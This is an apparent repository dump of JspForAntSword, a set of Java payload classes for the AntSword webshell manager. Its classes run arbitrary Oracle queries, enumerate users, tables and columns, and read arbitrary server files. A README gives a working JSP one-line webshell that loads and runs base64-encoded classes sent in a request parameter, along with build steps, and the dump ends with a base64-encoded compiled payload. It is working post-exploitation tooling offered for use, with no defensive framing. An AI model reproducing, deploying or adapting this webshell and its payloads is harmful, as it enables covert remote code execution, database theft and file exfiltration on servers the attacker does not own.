-------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Field; 6 | import java.sql.*; 7 | 8 | public class OracleQuery { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var0 = EC(decode(request.getParameter("var0") + "")); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | String var2 = EC(decode(request.getParameter("var2") + "")); 57 | output.append("->" + "|"); 58 | sb.append(query(var0, var1, var2)); 59 | output.append(sb.toString()); 60 | output.append("|" + "<-"); 61 | response.getWriter().print(output.toString()); 62 | } catch (Exception e) { 63 | sb.append("ERROR" + ":// " + e.toString()); 64 | } 65 | return true; 66 | } 67 | 68 | String EC(String s) throws Exception { 69 | if (encoder.equals("hex")) return s; 70 | return new String(s.getBytes(), cs); 71 | } 72 | 73 | String decode(String str) throws Exception { 74 | if (encoder.equals("hex")) { 75 | if (str == null || str.equals("")) { 76 | return ""; 77 | } 78 | String hexString = "0123456789ABCDEF"; 79 | str = str.toUpperCase(); 80 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 81 | String ss = ""; 82 | for (int i = 0; i < str.length(); i += 2) { 83 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 84 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 85 | } 86 | return baos.toString("UTF-8"); 87 | } else if (encoder.equals("base64")) { 88 | byte[] bt = null; 89 | try { 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 92 | } catch (ClassNotFoundException e) { 93 | Class clazz = Class.forName("java.util.Base64"); 94 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 95 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 96 | } 97 | return new String(bt, "UTF-8"); 98 | } 99 | return str; 100 | } 101 | 102 | String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) 103 | throws Exception { 104 | String ret = ""; 105 | conn = (EC(conn)); 106 | String[] x = conn.trim().replace("\r\n", "\n").split("\n"); 107 | Class.forName(x[0].trim()); 108 | String url = x[1]; 109 | Connection c = DriverManager.getConnection(url, x[2], x[3]); 110 | Statement stmt = c.createStatement(); 111 | ResultSet rs = stmt.executeQuery(sql); 112 | ResultSetMetaData rsmd = rs.getMetaData(); 113 | 114 | if (needcoluname) { 115 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 116 | String columnName = rsmd.getColumnName(i); 117 | ret += columnName + columnsep; 118 | } 119 | ret += rowsep; 120 | } 121 | 122 | while (rs.next()) { 123 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 124 | String columnValue = rs.getString(i); 125 | ret += columnValue + columnsep; 126 | } 127 | ret += rowsep; 128 | } 129 | return ret; 130 | } 131 | 132 | String query(String encode, String conn, String sql) throws Exception { 133 | String columnsep = "\t|\t"; 134 | String rowsep = "\r\n"; 135 | return executeSQL(encode, conn, sql, columnsep, rowsep, true); 136 | } 137 | 138 | } 139 | -------------------------------------------------------------------------------- /OracleShowColumns.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/OracleShowColumns.class -------------------------------------------------------------------------------- /OracleShowColumns.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Field; 6 | import java.sql.*; 7 | 8 | public class OracleShowColumns { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var0 = EC(decode(request.getParameter("var0") + "")); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | String var2 = EC(decode(request.getParameter("var2") + "")); 57 | String var3 = EC(decode(request.getParameter("var3") + "")); 58 | 59 | output.append("->" + "|"); 60 | sb.append(showColumns(var0, var1, var2, var3)); 61 | output.append(sb.toString()); 62 | output.append("|" + "<-"); 63 | response.getWriter().print(output.toString()); 64 | } catch (Exception e) { 65 | sb.append("ERROR" + ":// " + e.toString()); 66 | } 67 | return true; 68 | } 69 | 70 | String EC(String s) throws Exception { 71 | if (encoder.equals("hex")) return s; 72 | return new String(s.getBytes(), cs); 73 | } 74 | 75 | String decode(String str) throws Exception { 76 | if (encoder.equals("hex")) { 77 | if (str == null || str.equals("")) { 78 | return ""; 79 | } 80 | String hexString = "0123456789ABCDEF"; 81 | str = str.toUpperCase(); 82 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 83 | String ss = ""; 84 | for (int i = 0; i < str.length(); i += 2) { 85 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 86 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 87 | } 88 | return baos.toString("UTF-8"); 89 | } else if (encoder.equals("base64")) { 90 | byte[] bt = null; 91 | try { 92 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 93 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 94 | } catch (ClassNotFoundException e) { 95 | Class clazz = Class.forName("java.util.Base64"); 96 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 97 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 98 | } 99 | return new String(bt, "UTF-8"); 100 | } 101 | return str; 102 | } 103 | 104 | String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) 105 | throws Exception { 106 | String ret = ""; 107 | conn = (EC(conn)); 108 | String[] x = conn.trim().replace("\r\n", "\n").split("\n"); 109 | Class.forName(x[0].trim()); 110 | String url = x[1]; 111 | Connection c = DriverManager.getConnection(url, x[2], x[3]); 112 | Statement stmt = c.createStatement(); 113 | ResultSet rs = stmt.executeQuery(sql); 114 | ResultSetMetaData rsmd = rs.getMetaData(); 115 | 116 | if (needcoluname) { 117 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 118 | String columnName = rsmd.getColumnName(i); 119 | ret += columnName + columnsep; 120 | } 121 | ret += rowsep; 122 | } 123 | 124 | while (rs.next()) { 125 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 126 | String columnValue = rs.getString(i); 127 | ret += columnValue + columnsep; 128 | } 129 | ret += rowsep; 130 | } 131 | return ret; 132 | } 133 | 134 | String showColumns(String encode, String conn, String dbname, String table) throws Exception { 135 | String columnsep = "\t"; 136 | String rowsep = ""; 137 | String sql = "select * from " + dbname + "." + table + " WHERE ROWNUM=0"; 138 | return executeSQL(encode, conn, sql, columnsep, rowsep, true); 139 | } 140 | 141 | } 142 | -------------------------------------------------------------------------------- /OracleShowDatabases.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/OracleShowDatabases.class -------------------------------------------------------------------------------- /OracleShowDatabases.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Field; 6 | import java.sql.*; 7 | 8 | public class OracleShowDatabases { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var0 = EC(decode(request.getParameter("var0") + "")); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | output.append("->" + "|"); 57 | sb.append(showDatabases(var0, var1)); 58 | output.append(sb.toString()); 59 | output.append("|" + "<-"); 60 | response.getWriter().print(output.toString()); 61 | } catch (Exception e) { 62 | sb.append("ERROR" + ":// " + e.toString()); 63 | } 64 | return true; 65 | } 66 | 67 | String EC(String s) throws Exception { 68 | if (encoder.equals("hex")) return s; 69 | return new String(s.getBytes(), cs); 70 | } 71 | 72 | String decode(String str) throws Exception { 73 | if (encoder.equals("hex")) { 74 | if (str == null || str.equals("")) { 75 | return ""; 76 | } 77 | String hexString = "0123456789ABCDEF"; 78 | str = str.toUpperCase(); 79 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 80 | String ss = ""; 81 | for (int i = 0; i < str.length(); i += 2) { 82 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 83 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 84 | } 85 | return baos.toString("UTF-8"); 86 | } else if (encoder.equals("base64")) { 87 | byte[] bt = null; 88 | try { 89 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 90 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 91 | } catch (ClassNotFoundException e) { 92 | Class clazz = Class.forName("java.util.Base64"); 93 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 94 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 95 | } 96 | return new String(bt, "UTF-8"); 97 | } 98 | return str; 99 | } 100 | 101 | String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) 102 | throws Exception { 103 | String ret = ""; 104 | conn = (EC(conn)); 105 | String[] x = conn.trim().replace("\r\n", "\n").split("\n"); 106 | Class.forName(x[0].trim()); 107 | String url = x[1]; 108 | Connection c = DriverManager.getConnection(url, x[2], x[3]); 109 | Statement stmt = c.createStatement(); 110 | ResultSet rs = stmt.executeQuery(sql); 111 | ResultSetMetaData rsmd = rs.getMetaData(); 112 | 113 | if (needcoluname) { 114 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 115 | String columnName = rsmd.getColumnName(i); 116 | ret += columnName + columnsep; 117 | } 118 | ret += rowsep; 119 | } 120 | 121 | while (rs.next()) { 122 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 123 | String columnValue = rs.getString(i); 124 | ret += columnValue + columnsep; 125 | } 126 | ret += rowsep; 127 | } 128 | return ret; 129 | } 130 | 131 | String showDatabases(String encode, String conn) throws Exception { 132 | String sql = "SELECT USERNAME FROM ALL_USERS ORDER BY 1"; 133 | String columnsep = "\t"; 134 | String rowsep = ""; 135 | return executeSQL(encode, conn, sql, columnsep, rowsep, false); 136 | } 137 | 138 | } 139 | -------------------------------------------------------------------------------- /OracleShowTables.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/OracleShowTables.class -------------------------------------------------------------------------------- /OracleShowTables.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Field; 6 | import java.sql.*; 7 | 8 | public class OracleShowTables { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var0 = EC(decode(request.getParameter("var0") + "")); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | String var2 = EC(decode(request.getParameter("var2") + "")); 57 | output.append("->" + "|"); 58 | sb.append(showTables(var0, var1, var2)); 59 | output.append(sb.toString()); 60 | output.append("|" + "<-"); 61 | response.getWriter().print(output.toString()); 62 | } catch (Exception e) { 63 | sb.append("ERROR" + ":// " + e.toString()); 64 | } 65 | return true; 66 | } 67 | 68 | String EC(String s) throws Exception { 69 | if (encoder.equals("hex")) return s; 70 | return new String(s.getBytes(), cs); 71 | } 72 | 73 | String decode(String str) throws Exception { 74 | if (encoder.equals("hex")) { 75 | if (str == null || str.equals("")) { 76 | return ""; 77 | } 78 | String hexString = "0123456789ABCDEF"; 79 | str = str.toUpperCase(); 80 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 81 | String ss = ""; 82 | for (int i = 0; i < str.length(); i += 2) { 83 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 84 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 85 | } 86 | return baos.toString("UTF-8"); 87 | } else if (encoder.equals("base64")) { 88 | byte[] bt = null; 89 | try { 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 92 | } catch (ClassNotFoundException e) { 93 | Class clazz = Class.forName("java.util.Base64"); 94 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 95 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 96 | } 97 | return new String(bt, "UTF-8"); 98 | } 99 | return str; 100 | } 101 | 102 | String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) 103 | throws Exception { 104 | String ret = ""; 105 | conn = (EC(conn)); 106 | String[] x = conn.trim().replace("\r\n", "\n").split("\n"); 107 | Class.forName(x[0].trim()); 108 | String url = x[1]; 109 | Connection c = DriverManager.getConnection(url, x[2], x[3]); 110 | Statement stmt = c.createStatement(); 111 | ResultSet rs = stmt.executeQuery(sql); 112 | ResultSetMetaData rsmd = rs.getMetaData(); 113 | 114 | if (needcoluname) { 115 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 116 | String columnName = rsmd.getColumnName(i); 117 | ret += columnName + columnsep; 118 | } 119 | ret += rowsep; 120 | } 121 | 122 | while (rs.next()) { 123 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 124 | String columnValue = rs.getString(i); 125 | ret += columnValue + columnsep; 126 | } 127 | ret += rowsep; 128 | } 129 | return ret; 130 | } 131 | 132 | String showTables(String encode, String conn, String dbname) throws Exception { 133 | String sql = "SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='" + dbname + "' ORDER BY 1)"; 134 | String columnsep = "\t"; 135 | String rowsep = ""; 136 | return executeSQL(encode, conn, sql, columnsep, rowsep, false); 137 | } 138 | 139 | } 140 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## 项目已移动至[蚁剑官方仓库](https://github.com/AntSwordProject/AntSword-JSP-Template),本项目不再更新。 2 | # JspForAntSword v1.1 3 | 中国蚁剑JSP一句话Payload 4 | 5 | 详细介绍: https://yzddmr6.tk/posts/antsword-diy-3/ 6 | 7 | 环境: jdk1.6 tomcat7 8 | 9 | ## 编译 10 | 11 | ### 手动编译 12 | 13 | ``` 14 | javac -cp "D:/xxxx/lib/servlet-api.jar;D:/xxx/lib/jsp-api.jar" Test.java 15 | 16 | base64 -w 0 Test.class > Test.txt 17 | ``` 18 | 19 | ### 自动编译 20 | 21 | 在build.py中替换你的javac路径跟lib路径后,在当前目录下运行,即可对当前路径下所有.java文件进行编译以及生成base64格式的payload。 22 | 23 | ``` 24 | python3 build.py 25 | ``` 26 | 27 | ## Shell 28 | 29 | ``` 30 | <%! 31 | class U extends ClassLoader { 32 | U(ClassLoader c) { 33 | super(c); 34 | } 35 | public Class g(byte[] b) { 36 | return super.defineClass(b, 0, b.length); 37 | } 38 | } 39 | 40 | public byte[] base64Decode(String str) throws Exception { 41 | try { 42 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 43 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 44 | } catch (Exception e) { 45 | Class clazz = Class.forName("java.util.Base64"); 46 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 47 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 48 | } 49 | } 50 | %> 51 | <% 52 | String cls = request.getParameter("ant"); 53 | if (cls != null) { 54 | new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); 55 | } 56 | %> 57 | ``` 58 | 59 | 其中`pageContext`可以替换为`request`或者`response`,以实现对Tomcat内存Webshell的兼容 60 | 61 | ## 更新日志 62 | 63 | ### v1.1 64 | 65 | 1. 增加对Tomcat内存Webshell的兼容 66 | 2. 兼容高版本JDK(JDK7-14) 67 | 68 | ### v 1.0 69 | 70 | 1. release 71 | -------------------------------------------------------------------------------- /ReadFileCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/ReadFileCode.class -------------------------------------------------------------------------------- /ReadFileCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.*; 5 | import java.lang.reflect.Field; 6 | 7 | public class ReadFileCode { 8 | public HttpServletRequest request = null; 9 | public HttpServletResponse response = null; 10 | public String encoder; 11 | public String cs; 12 | 13 | @Override 14 | public boolean equals(Object obj) { 15 | if (obj instanceof PageContext) { 16 | PageContext page = (PageContext) obj; 17 | request = (HttpServletRequest) page.getRequest(); 18 | response = (HttpServletResponse) page.getResponse(); 19 | } else if (obj instanceof HttpServletRequest) { 20 | request = (HttpServletRequest) obj; 21 | try { 22 | Field req = request.getClass().getDeclaredField("request"); 23 | req.setAccessible(true); 24 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 25 | Field resp = request2.getClass().getDeclaredField("response"); 26 | resp.setAccessible(true); 27 | response = (HttpServletResponse) resp.get(request2); 28 | } catch (Exception e) { 29 | e.printStackTrace(); 30 | } 31 | 32 | } else if (obj instanceof HttpServletResponse) { 33 | response = (HttpServletResponse) obj; 34 | try { 35 | Field resp = response.getClass().getDeclaredField("response"); 36 | resp.setAccessible(true); 37 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 38 | Field req = response2.getClass().getDeclaredField("request"); 39 | req.setAccessible(true); 40 | request = (HttpServletRequest) req.get(response2); 41 | } catch (Exception e) { 42 | e.printStackTrace(); 43 | } 44 | } 45 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 46 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 47 | StringBuffer output = new StringBuffer(""); 48 | StringBuffer sb = new StringBuffer(""); 49 | try { 50 | response.setContentType("text/html"); 51 | request.setCharacterEncoding(cs); 52 | response.setCharacterEncoding(cs); 53 | String var1 = EC(decode(request.getParameter("var1") + "")); 54 | output.append("->" + "|"); 55 | sb.append(ReadFileCode(var1)); 56 | output.append(sb.toString()); 57 | output.append("|" + "<-"); 58 | response.getWriter().print(output.toString()); 59 | } catch (Exception e) { 60 | sb.append("ERROR" + ":// " + e.toString()); 61 | } 62 | return true; 63 | } 64 | 65 | String EC(String s) throws Exception { 66 | if (encoder.equals("hex")) return s; 67 | return new String(s.getBytes(), cs); 68 | } 69 | 70 | String decode(String str) throws Exception { 71 | if (encoder.equals("hex")) { 72 | if (str == null || str.equals("")) { 73 | return ""; 74 | } 75 | String hexString = "0123456789ABCDEF"; 76 | str = str.toUpperCase(); 77 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 78 | String ss = ""; 79 | for (int i = 0; i < str.length(); i += 2) { 80 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 81 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 82 | } 83 | return baos.toString("UTF-8"); 84 | } else if (encoder.equals("base64")) { 85 | byte[] bt = null; 86 | try { 87 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 88 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 89 | } catch (ClassNotFoundException e) { 90 | Class clazz = Class.forName("java.util.Base64"); 91 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 92 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 93 | } 94 | return new String(bt, "UTF-8"); 95 | } 96 | return str; 97 | } 98 | 99 | String ReadFileCode(String filePath) throws Exception { 100 | String l = "", s = ""; 101 | BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs)); 102 | while ((l = br.readLine()) != null) { 103 | s += l + "\r\n"; 104 | } 105 | br.close(); 106 | return s; 107 | } 108 | 109 | } 110 | -------------------------------------------------------------------------------- /ReadFileCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIA/AoARQB2CQBXAHcJAFcAeAcAeQoABAB6BwB7CgAEAHwHAH0KAEUAfggAWAoAQgB/CgCAAIEKAIAAgggAWgcAgwoADwCECABcCwAGAIUIAIYJAFcAhwgAiAgAiQkAVwCKBwCLCgAYAIwIAI0LAAgAjgsABgCPCwAIAI8HAJAKAB4AdggAkQoAHgCSCgAeAJMKAFcAlAoAVwCVCACWCgAYAJcKAFcAmAoAGACTCACZCwAIAJoKAJsAnAgAnQoADwCTCACeCgAwAJ8HAKAKADAAoQoAMACiCACjCgAwAKQHAKUKADAApgoANQCnCgAwAKgKADAAqQoAHgCqCACrCgA1AKwKADUArQgArggArwoAQgCwCACxBwCyCgBCALMKAEIAtAcAtQoAtgC3BwC4BwC5CAC6CAC7CABvBwC8BwC9BwC+BwC/CgBPAIwKAE4AwAoATQDBCgBMAMIKAEwAwwgAxAoATADFBwByAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2VuY29kZXIBABJMamF2YS9sYW5nL1N0cmluZzsBAAJjcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwCDBwByBwByBwC1BwCgBwCLAQACRUMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHAKUHALkBAAxSZWFkRmlsZUNvZGUHALwBAApTb3VyY2VGaWxlAQARUmVhZEZpbGVDb2RlLmphdmEMAF8AYAwAWABZDABaAFsBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwAxgDHAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwAyADJAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAMoAywwAzADNBwDODADPANAMANEA0gEAE2phdmEvbGFuZy9FeGNlcHRpb24MANMAYAwA1ABtAQAADABcAF0BAAdjaGFyc2V0AQAFVVRGLTgMAF4AXQEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAF8A1QEACXRleHQvaHRtbAwA1gDVDADXANUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMANgA2QwA2gDbDABvAG0MAGwAbQEAAy0+fAwA2ADcDAByAG0BAAN8PC0MAN0A3gcA3wwA4ADVAQAJRVJST1I6Ly8gAQADaGV4DABjAGQBABBqYXZhL2xhbmcvU3RyaW5nDADhAOIMAF8A4wEAEDAxMjM0NTY3ODlBQkNERUYMAOQA2wEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADlAOYMAF